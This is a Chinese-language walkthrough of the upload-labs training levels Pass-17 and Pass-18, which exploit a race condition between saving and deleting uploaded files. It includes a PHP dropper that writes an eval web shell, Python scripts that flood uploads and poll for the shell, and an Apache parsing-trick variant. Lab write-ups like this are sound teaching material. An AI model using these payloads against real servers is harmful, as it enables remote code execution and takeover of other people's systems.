【upload-labs】条件竞争pass-17~pass-18
条件竞争
一些网站上传文件的逻辑是先允许上传任意文件,然后检测上传文件的文件包是否合法(校验文件后缀、内容等),如果不合法则删除文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短的时间差(因为要执行检查文件和删除文件的操作),攻击者就可以利用这个时间差完成竞争条件的上传漏洞攻击。
【pass-17】
1、源码分析
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){ //先不加过滤的将文件保存在本地
if(in_array($file_ext,$ext_arr)){ //白名单过滤后缀
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path); //改名
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file); //若不合法则删除文件
}
}else{
$msg = '上传出错!';
}
}
后端的处理逻辑是这样:先不加过滤的保存任意上传的文件,然后对文件的合法性进行校验,若不合法则删除。
漏洞利用思路:上传一个写入木马的php文件backdoor.php,抓取数据包,对此数据包进行多线程高并发的重放。与此同时,用python不断的请求文件backdoor.php,由于多线程高并发的重放上传backdoor.php文件,所以一定会存在上传成功但还未来得及删除的backdoor.php文件使得python请求成功,一旦请求成功则会在本地写入木马。用菜刀连接即可getshell。
2、测试流程
准备写入后门的文件backdoor.php
用python写一个请求backdoor.php的脚本
准备工具burp,用来重放上传backdoor.php
#backdoor.php
#用来写入木马文件shell.php
<?php fputs(fopen('shell.php','w'),'<?php @eval($_post["cmd"])?>');?>
#requests_2.py
#用来请求backdoor.php
import requests
url = "http://ip/upload-labs/upload/backdoor.php"
url_2 = "http://ip/upload-labs/upload/shell.php"
while True:
html = requests.get(url)
html_2 = requests.get(url_2)
if html_2.status_code == 200: #判断shell.php是否写入成功
print("OK")
break
我们用
先上传文件backdoor.php,抓取数据包发送到Inturder模块
进行相关配置


首先运行requests_2.py不断请求backdoor.php和shell.php。
当请求shell.php成功时,说明木马文件已被成功写入,此时返回OK并且自动停止运行程序。
开启burp不断重放上传backdoor.php的数据包:
很快requests_2.py有了反馈:
返回OK,说明shell.php已经成功写入!
用菜刀连接:

如图所示,连接成功!
注:也可用python实现多线程高并发文件上传
附上拙劣代码:
#upload.py
import requests
from threading import Thread
file = { #文件信息和文件
"upload_file":open('C:\\users\\xiamo\\desktop\\backdoor.php'),
"Content-Type":"application/octet-stream",
"Content-Disposition":"form-data",
"filename":"backdoor.php"
}
url = "http://192.168.1.120/upload-labs/Pass-17/index.php"
data = { #参数
"submit":"上传"
}
def upload():
res = requests.post(url, files=file, data=data)
print(res.status_code)
while True:
t = Thread(target=upload()) #创建线程
t.start() #开启线程
【pass-18】
1、源码分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
在Myupload类中的Upload方法中对上传的文件进行白名单后缀过滤、判断文件大小的合法性、对上传的文件改名。也就是说只有绕过了后缀的白名单的过滤,才会保存文件。这里注意,保存文件后会对文件进行改名操作了,比如上传了shell.php.xxx,他会对shell.php进行改名。我们要利用的就是apache的解析漏洞结合条件竞争,在上传成功之后和改名之前的时间差内对shell.php.xxx发起访问,使得木马文件写入目录中。
2、测试流程
这是白名单:
可能是作者大佬的疏忽,忘了给上传的路径加"/",所以导致上传的文件改名后都是uploadxxxxx.jpg,而且上传在了upload-labs目录下,但经过我的修改,终于正常了。
只需在myupload.php文件中对应地方添加斜杠就行:
开始测试:
开始攻击:
与此同时,运行请求的python脚本:
#requests_2.py
import requests
from threading import Thread
url = "http://192.168.1.120/upload-labs/upload/backdoor.php.7z"
url_2 = "http://192.168.1.120/upload-labs/upload/shell.php"
def request():
global html
global html_2
html = requests.get(url) //不断访问backdoor.\php生成木马
print(html.status_code)
html_2 = requests.get(url_2) //访问shell.\php判断是否生成
while True:
t = Thread(target=request())
t.start()
if html_2.status_code == 200: //当shell生成时终止
print("shell.php已生成!")
break
![]() | ![]() |
然后用菜刀连接就好了!